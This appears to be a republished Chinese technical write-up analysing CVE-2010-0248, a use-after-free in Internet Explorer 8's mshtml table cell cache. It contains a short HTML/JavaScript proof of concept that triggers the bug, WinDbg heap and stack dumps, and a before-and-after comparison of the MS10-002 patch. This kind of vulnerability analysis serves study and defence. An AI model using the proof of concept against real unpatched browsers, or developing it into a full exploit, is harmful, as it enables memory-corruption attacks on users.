CVE-2010-0248 CTableRowLayout释放后重用

浏览:
字体:
发布时间:2013-12-09 23:23:27
来源:
1.  POC
<html><body><table id="test"> <tr></tr> </table><script>Math.tan(2,3);var test = document.getElementById("test");Math.sin(0);var x = test.cells.item(0);Math.cos(0);test.outerText = 'test text'; // 删除表格Math.tan(2,3);x = test.cells.item(0); // 再试图引用表格的元素,此时将访问已释放的内存</script></body></html>

 

 
2.  基本知识点
 
每个CTable对象都包含一个CCollectionCache元素,用于缓存CTable的一些内容。
CTable:         +x2c pCCollectionCache CCollectionCache可以看作是一个动态的数组。初始的大小包含三个元素。元素的类型由下面的变量确定。    enum    {        TABLE_ROWS_COLLECTION = 0, // CTableRowsCollectionCacheItem        TABLE_BODYS_COLLECTION = 1,// CTableBodysCollectionCacheItem    TABLE_CELLS_COLLECTION = 2,// CTableCellsCollectionCacheItem        NUMBER_OF_TABLE_COLLECTION = 3,}; CTableCellsCollectionCacheItem      +x0c   pCTableRowLayout      +x1c   pCTableLayout

 
 
3.  元素的创建
3.1  CCollectionCache的创建
在第一次调用CTable::get_cells时,回去创建CCollectionCache元素。
CCollectionCache对象的地址为5f6afd0。
var x = test.cells.item(0);
 

 
0:008> kvChildEBP RetAddr  Args to Child             03f5f30c 6399f521 05f54fb8 04480f00 63aaf45c mshtml!CTable::EnsureCollectionCache+0x7c03f5f328 636237bb 05f54fb8 04480f00 0448efd0 mshtml!CTable::get_cells+0x4703f5f348 636430c9 05f54fb8 0448efd0 05e4efd8 mshtml!G_IDispatchp+0x7b03f5f3bc 6366418a 05f54fb8 0000040d 00000001 mshtml!CBase::ContextInvokeEx+0x5d103f5f40c 63768436 05f54fb8 0000040d 00000001 mshtml!CElement::ContextInvokeEx+0x9d03f5f450 63642eec 05f54fb8 0000040d 00000001 mshtml!CTable::VersionedInvokeEx+0xbe03f5f4a0 633a6d37 05484fd8 0000040d 00000001 mshtml!PlainInvokeEx+0xea03f5f4e0 633a6c75 04412d10 0000040d 00000409 jscript!IDispatchExInvokeEx2+0xf803f5f51c 633a9cfe 04412d10 00000409 00000002 jscript!IDispatchExInvokeEx+0x6a03f5f5dc 633a9f3c 0000040d 00000002 04480f80 jscript!InvokeDispatchEx+0x9803f5f610 633a99b7 04412d10 03f5f738 00000002 jscript!VAR::InvokeByName+0x13503f5f7a8 633a5ab0 03f5f7c0 03f5f908 03f5f908 jscript!CScriptRuntime::Run+0x65503f5f890 633a59f7 03f5f908 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xff03f5f8dc 633a5743 03f5f908 00000000 00000000 jscript!ScrFncObj::Call+0x8f03f5f958 633891f1 0447ef88 03f5fb18 00000000 jscript!CSession::Execute+0x17503f5f9a4 63388f65 043f2df0 03f5fb18 03f5fb28 jscript!COleScript::ExecutePendingScripts+0x1c003f5fa08 63388d7f 043f2df0 04596fec 635be83c jscript!COleScript::ParseScriptTextCore+0x29a03f5fa30 635bf025 043f2df4 061f6e34 04596fec jscript!COleScript::ParseScriptText+0x3003f5fa88 635be7ca 04d5cfa8 00000000 0641ef30 mshtml!CScriptCollection::ParseScriptText+0x21903f5fb4c 635be5ab 00000000 00000000 00000000 mshtml!CScriptElement::CommitCode+0x3a903f5fb80 635ac020 7c80932e 0548afb0 0548afb0 mshtml!CScriptElement::Execute+0xc403f5fbd4 635a74f0 054ddf08 7c80932e 0548afb0 mshtml!CHtmParse::Execute+0x4a03f5fbec 635a7266 635a6a75 38152f9f 0548afb0 mshtml!CHtmPost::Broadcast+0xf03f5fcac 635ac2b8 38152f9f 00000000 0548afb0 mshtml!CHtmPost::Exec+0x5f603f5fcc4 635ac21b 38152f9f 00000000 0548afb0 mshtml!CHtmPost::Run+0x1503f5fce4 635ac17e 04d60d58 38152f9f 0548afb0 mshtml!PostManExecute+0x1fd03f5fd04 635ac0e2 00000001 00000012 03f5fd24 mshtml!PostManResume+0xf803f5fd14 63655d60 054c9f98 0548afb0 03f5fd58 mshtml!CHtmPost::OnDwnChanCallback+0x1003f5fd24 6364de62 054c9f98 00000000 04d60d58 mshtml!CDwnChan::OnMethodCall+0x1903f5fd58 6363c3c5 03f5fde0 6363c317 00000000 mshtml!GlobalWndOnMethodCall+0xfb03f5fd78 77d18734 0075026c 0000000f 00000000 mshtml!GlobalWndProc+0x18303f5fda4 77d18816 6363c317 0075026c 00008002 USER32!InternalCallWinProc+0x2803f5fe0c 77d189cd 00000000 6363c317 0075026c USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])03f5fe6c 77d18a10 03f5fe94 00000000 03f5feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])03f5fe7c 02692ec9 03f5fe94 00000000 01cbaf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])03f5feec 026348bf 045da808 0040128e 03746ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 (FPO: [Non-Fpo])03f5ffa4 5de05a60 01cbaf58 7c817067 03f5ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])03f5ffb4 7c80b713 03746ff0 0040128e 7c817067 iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])03f5ffec 00000000 5de05a52 03746ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo]) CCollectionCache对象数组的内部结构:CCollectionCache         +x08 数组的大小         +0c  数组的地址

 
每个元素的大小为3c。
 
dc 5f6afd005f6afd0  6363332c 00000018 00000006 05fdee98  ,3cc............05f6afe0  00000006 05f54fb8 63991759 00000000  .....O..Y..c....05f6aff0  00000000 00000000 0641ef30 0641afe8  ........0.A...A.

 
 
3.1.1  元素0  CTableRowsCollectionCacheItem
dc 05fdee98  l3c/405fdee98  00000000 00000000 060bcff0 00000000  ................05fdeea8  00000000 00000000 ffffffff 00000000  ................05fdeeb8  00000000 00000000 00000002 00000000  ................05fdeec8  000f4240 002dc6bf 00000000           @B....-.....0:008> !heap -p -a 060bcff0    address 060bcff0 found in    _DPH_HEAP_ROOT @ 151000    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                                 5fad2c0:          60bcff0               10 -          60bc000             2000          mshtml!CTableRowsCollectionCacheItem::`vftable'    7c938f01 ntdll!RtlAllocateHeap+0x00000e64    63991609 mshtml!CTable::EnsureCollectionCache+0x00000174    6399f521 mshtml!CTable::get_cells+0x00000047    636237bb mshtml!G_IDispatchp+0x0000007b    636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1    6366418a mshtml!CElement::ContextInvokeEx+0x0000009d    63768436 mshtml!CTable::VersionedInvokeEx+0x000000be    63642eec mshtml!PlainInvokeEx+0x000000ea    633a6d37 jscript!IDispatchExInvokeEx2+0x000000f8    633a6c75 jscript!IDispatchExInvokeEx+0x0000006a    633a9cfe jscript!InvokeDispatchEx+0x00000098    633a9f3c jscript!VAR::InvokeByName+0x00000135    633a99b7 jscript!CScriptRuntime::Run+0x00000655    633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff    633a59f7 jscript!ScrFncObj::Call+0x0000008f633a5743 jscript!CSession::Execute+0x00000175 dc 060bcff0060bcff0  639916fc 00000000 05440ea8 00000000  ...c......D.....

 
3.1.2  元素1 CTableBodysCollectionCacheItem
0:008> dc 05fdee98 + 3c l3c/405fdeed4  00000000 00000000 060dcff0 00000000  ................05fdeee4  00000000 00000000 ffffffff 00000000  ................05fdeef4  00000000 00000000 00000002 00000000  ................05fdef04  000f4240 002dc6bf 00000000           @B....-.....0:008> !heap -p -a 060dcff0    address 060dcff0 found in    _DPH_HEAP_ROOT @ 151000    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                                 5faff48:          60dcff0                c -          60dc000             2000          mshtml!CTableBodysCollectionCacheItem::`vftable'    7c938f01 ntdll!RtlAllocateHeap+0x00000e64    63991650 mshtml!CTable::EnsureCollectionCache+0x000001bb    6399f521 mshtml!CTable::get_cells+0x00000047    636237bb mshtml!G_IDispatchp+0x0000007b    636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1    6366418a mshtml!CElement::ContextInvokeEx+0x0000009d    63768436 mshtml!CTable::VersionedInvokeEx+0x000000be    63642eec mshtml!PlainInvokeEx+0x000000ea    633a6d37 jscript!IDispatchExInvokeEx2+0x000000f8    633a6c75 jscript!IDispatchExInvokeEx+0x0000006a    633a9cfe jscript!InvokeDispatchEx+0x00000098    633a9f3c jscript!VAR::InvokeByName+0x00000135    633a99b7 jscript!CScriptRuntime::Run+0x00000655    633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff    633a59f7 jscript!ScrFncObj::Call+0x0000008f    633a5743 jscript!CSession::Execute+0x00000175

 
3.1.3   元素3 CTableCellsCollectionCacheItem
 

0:008> dc 05fdee98 + 2*3c l3c/405fdef10  00000000 00000000 0613cfd8 00000000  ................05fdef20  00000000 00000000 ffffffff 00000000  ................05fdef30  00000000 00000000 00000002 00000000  ................05fdef40  000f4240 002dc6bf 00000000           @B....-.....0:008> !heap -p -a 0613cfd8    address 0613cfd8 found in    _DPH_HEAP_ROOT @ 151000    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                                 5fadce8:          613cfd8               24 -          613c000             2000          mshtml!CTableCellsCollectionCacheItem::`vftable'    7c938f01 ntdll!RtlAllocateHeap+0x00000e64    63991694 mshtml!CTable::EnsureCollectionCache+0x000001ff    6399f521 mshtml!CTable::get_cells+0x00000047    636237bb mshtml!G_IDispatchp+0x0000007b    636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1    6366418a mshtml!CElement::ContextInvokeEx+0x0000009d    63768436 mshtml!CTable::VersionedInvokeEx+0x000000be    63642eec mshtml!PlainInvokeEx+0x000000ea    633a6d37 jscript!IDispatchExInvokeEx2+0x000000f8    633a6c75 jscript!IDispatchExInvokeEx+0x0000006a    633a9cfe jscript!InvokeDispatchEx+0x00000098    633a9f3c jscript!VAR::InvokeByName+0x00000135    633a99b7 jscript!CScriptRuntime::Run+0x00000655    633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff    633a59f7 jscript!ScrFncObj::Call+0x0000008f    633a5743 jscript!CSession::Execute+0x00000175  0:008> dc 0613cfd80613cfd8  639916d0 00000000 00000000 00000000  ...c............0613cfe8  00000000 00000000 00000000 05440ea8  ..............D.0613cff8  00000000 d0d0d0d0 ???????? ????????  ........????????

 
3.2  CTableRowLayout创建
 
0:008> !heap -p -a 054a2fa0     address 054a2fa0 found in    _DPH_HEAP_ROOT @ 151000    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)                                 5facf78:          54a2fa0               5c -          54a2000             2000          mshtml!CTableRowLayout::`vftable'    7c938f01 ntdll!RtlAllocateHeap+0x00000e64    635d10a6 mshtml!GetLayoutFromFactory+0x00000695    635e8717 mshtml!CElement::CreateLayout+0x00000021    6359fab8 mshtml!CTableRow::RowLayoutCache+0x00000042    6359f6a5 mshtml!CTableRow::Notify+0x00000174    635a7f46 mshtml!CHtmRootParseCtx::FlushNotifications+0x000001be    635a77d9 mshtml!CHtmRootParseCtx::Commit+0x0000000a    635a74f0 mshtml!CHtmPost::Broadcast+0x0000000f    635a7388 mshtml!CHtmPost::Exec+0x00000255    635ac2b8 mshtml!CHtmPost::Run+0x00000015    635ac21b mshtml!PostManExecute+0x000001fd    635ac17e mshtml!PostManResume+0x000000f8    635ac0e2 mshtml!CHtmPost::OnDwnChanCallback+0x00000010    63655d60 mshtml!CDwnChan::OnMethodCall+0x00000019    6364de62 mshtml!GlobalWndOnMethodCall+0x000000fb6363c3c5 mshtml!GlobalWndProc+0x00000183

 
CTableRowLayout过程如上所述。
 
在后面的调用过程中,该地址会保存在CTableCellsCollectionCacheItem 0613cfd8  元素中。
 
0:008> dc 0613cfd8 0613cfd8  639916d0 00000000 00000000 054a2fa0  ...c........./J.0613cfe8  00000000 00000000 00000000 05440ea8  ..............D.0613cff8  00000000 d0d0d0d0 ???????? ????????  ........????????  03f5f3f8 6399109b 00000000 00000000 00000078 mshtml!CTableCellsCollectionCacheItem::SetCurrentRowAndGetRowIndex+0x4303f5f40c 635e7aa7 00000000 00000000 05f6afd0 mshtml!CTableCellsCollectionCacheItem::MoveTo+0x1503f5f458 635e7b76 05f6afd0 04420c48 00000004 mshtml!CCollectionCache::GetIntoAry+0x4703f5f49c 635e7c20 00000002 04420c48 03f5f588 mshtml!CCollectionCache::GetDispID+0x13e03f5f4b0 635d36b0 05f6afd0 00000002 04420c48 mshtml!DispatchGetDispIDCollection+0x3f03f5f4d8 63643d3e 06140fd8 04420c48 10000001 mshtml!CElementCollectionBase::VersionedGetDispID+0x4603f5f518 633a9eb2 05e4efd8 04420c48 10000001 mshtml!PlainGetDispID+0xdc03f5f548 633a9e13 04420c48 03f5f588 05e4efd8 jscript!IDispatchExGetDispID+0xb703f5f564 633a9f17 04412d10 03f5f588 00000001 jscript!GetDex2DispID+0x3403f5f590 633a77ff 04412d10 03f5f5c4 00000003 jscript!VAR::InvokeByName+0xeb03f5f5dc 633a85c7 04412d10 00000003 03f5f760 jscript!VAR::InvokeDispName+0x7a03f5f60c 633a83a9 04412d10 00000000 00000003 jscript!VAR::InvokeByDispID+0xce03f5f7a8 633a5ab0 03f5f7c0 03f5f908 03f5f908 jscript!CScriptRuntime::Run+0x28ab03f5f890 633a59f7 03f5f908 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xff03f5f8dc 633a5743 03f5f908 00000000 00000000 jscript!ScrFncObj::Call+0x8f03f5f958 633891f1 0447ef88 03f5fb18 00000000 jscript!CSession::Execute+0x17503f5f9a4 63388f65 043f2df0 03f5fb18 03f5fb28 jscript!COleScript::ExecutePendingScripts+0x1c003f5fa08 63388d7f 043f2df0 04596fec 635be83c jscript!COleScript::ParseScriptTextCore+0x29a03f5fa30 635bf025 043f2df4 061f6e34 04596fec jscript!COleScript::ParseScriptText+0x3003f5fa88 635be7ca 04d5cfa8 00000000 0641ef30 mshtml!CScriptCollection::ParseScriptText+0x21903f5fb4c 635be5ab 00000000 00000000 00000000 mshtml!CScriptElement::CommitCode+0x3a903f5fb80 635ac020 7c80932e 0548afb0 0548afb0 mshtml!CScriptElement::Execute+0xc403f5fbd4 635a74f0 054ddf08 7c80932e 0548afb0 mshtml!CHtmParse::Execute+0x4a03f5fbec 635a7266 635a6a75 38152f9f 0548afb0 mshtml!CHtmPost::Broadcast+0xf03f5fcac 635ac2b8 38152f9f 00000000 0548afb0 mshtml!CHtmPost::Exec+0x5f603f5fcc4 635ac21b 38152f9f 00000000 0548afb0 mshtml!CHtmPost::Run+0x1503f5fce4 635ac17e 04d60d58 38152f9f 0548afb0 mshtml!PostManExecute+0x1fd03f5fd04 635ac0e2 00000001 00000012 03f5fd24 mshtml!PostManResume+0xf803f5fd14 63655d60 054c9f98 0548afb0 03f5fd58 mshtml!CHtmPost::OnDwnChanCallback+0x1003f5fd24 6364de62 054c9f98 00000000 04d60d58 mshtml!CDwnChan::OnMethodCall+0x1903f5fd58 6363c3c5 03f5fde0 6363c317 00000000 mshtml!GlobalWndOnMethodCall+0xfb03f5fd78 77d18734 0075026c 0000000f 00000000 mshtml!GlobalWndProc+0x18303f5fda4 77d18816 6363c317 0075026c 00008002 USER32!InternalCallWinProc+0x2803f5fe0c 77d189cd 00000000 6363c317 0075026c USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])03f5fe6c 77d18a10 03f5fe94 00000000 03f5feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])03f5fe7c 02692ec9 03f5fe94 00000000 01cbaf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])03f5feec 026348bf 045da808 0040128e 03746ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 (FPO: [Non-Fpo])03f5ffa4 5de05a60 01cbaf58 7c817067 03f5ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])03f5ffb4 7c80b713 03746ff0 0040128e 7c817067 iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])03f5ffec 00000000 5de05a52 03746ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])

4.  CTableRowLayout元素的释放
当poc运行到如下的语句时,会导致cell的释放,同时会导致与其相关的CTableRowLayout的释放。
test.outerText = 'test text'; // 删除表格
 

 
dc edi
054a2fa0  63631fa8 0641afe8 00000000 6363a558  ..cc..A.....X.cc
054a2fb0  00008000 00000000 00080809 ffffffff  ................
054a2fc0  00000000 00000000 00000000 ffffffff  ................
054a2fd0  ffffffff ffffffff 00000000 6363332c  ............,3cc
054a2fe0  00000000 00000000 00000000 00000000  ................
054a2ff0  00000000 00000000 00000000 d0d0d0d0  ................
 

 
元素释放后,并没有同时更新对应的CTableCellsCollectionCacheItem元素。
可以看到,CTableCellsCollectionCacheItem +x0c 处仍然指向被释放的CTableRowLayout。
dc 0613cfd8 0613cfd8  639916d0 00000000 00000000 054a2fa0  ...c........./J.0613cfe8  ffffffff ffffffff ffffffff 05440ea8  ..............D.0613cff8  00000001 d0d0d0d0 ???????? ????????  ........????????

 
5.  重用
当poc运行到该语句时,
x = test.cells.item(0);
会通过CTable的CCollectionCache来查询元素,由于CTableCellsCollectionCacheItem元素包含了已经释放的元素,导致释放后重用。

Edi指向CTableCellsCollectionCacheItem,eax为edi+0c处的内容,即CTableRowLayout对象地址,由于该地址已经释放。所以在下面引用该地址eax+54的值时,导致内存访问错误。
dc eax
054a2fa0  ???????? ???????? ???????? ????????  ????????????????
054a2fb0  ???????? ???????? ???????? ????????  ????????????????
054a2fc0  ???????? ???????? ???????? ????????  ????????????????
054a2fd0  ???????? ???????? ???????? ????????  ????????????????
054a2fe0  ???????? ???????? ???????? ????????  ????????????????

 
6.  补丁对比
6.1  补丁前(IE8)
调用链如下:
CCollectionCache::GetIntoAry
         CTableCellsCollectionCacheItem::MoveTo
         CTableCellsCollectionCacheItem::GetNext

在执行MoveTo时,会调用如下的函数。

该函数会在CTableCellsCollectionCacheItem对应的1c处的元素即CTableLayout的0x128处的值处理后进行判断是否为0,如果为0,则返回负-1。
在进行到GetNext时,

edi表示this指针,
         先获得0c处的值,即CTableRowLayout对象,从上面可以看到,该值不为空,所以会进行到处,
        
由于eax指向的对象已经释放,导致释放后重用。
 
6.2  补丁后(MS10-002 mshtml 8.0.6001.18876)
 
调用链如下:
CCollectionCache::GetIntoAry
         CTableCellsCollectionCacheItem::MoveTo
         CTableCellsCollectionCacheItem::GetNext
 

 
在执行MoveTo时,会调用如下的函数。

该函数会在CTableCellsCollectionCacheItem对应的1c处的元素即CTableLayout的0x128处的值〉〉2后的值(Cells的数目)是否为0,如果为0:
与补丁前对比:
会将pCTableCellsCollectionCacheItem 0c处设置为0。
然后返回负-1。
在进行到GetNext时,

edi表示this指针,
         先获得0c处的值,即CTableRowLayout对象,从上面可以看到,在MoveTo时,该处的值被设置为空,和补丁前对比,此时会进入到另一个分支,不会导致内存访问异常问题。
 
6.3  结论
CTable中会用CCollectionCache对象来缓存CTable的一些内容。
在缓存CTableCellsCollectionCacheItem对象时,当表格中的内容被情况时,对应的Row的CTableRowLayout会被清空,但未补丁前,CTableCellsCollectionCacheItem项中的0xc处仍然指现被释放的CTableRowLayout,导致释放后重用。
补丁后,如果如果发现CTableRowLayout对应的CTableLayout +x128处的值为0,则会将CTableCellsCollectionCacheItem +x0c处的值清0。
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();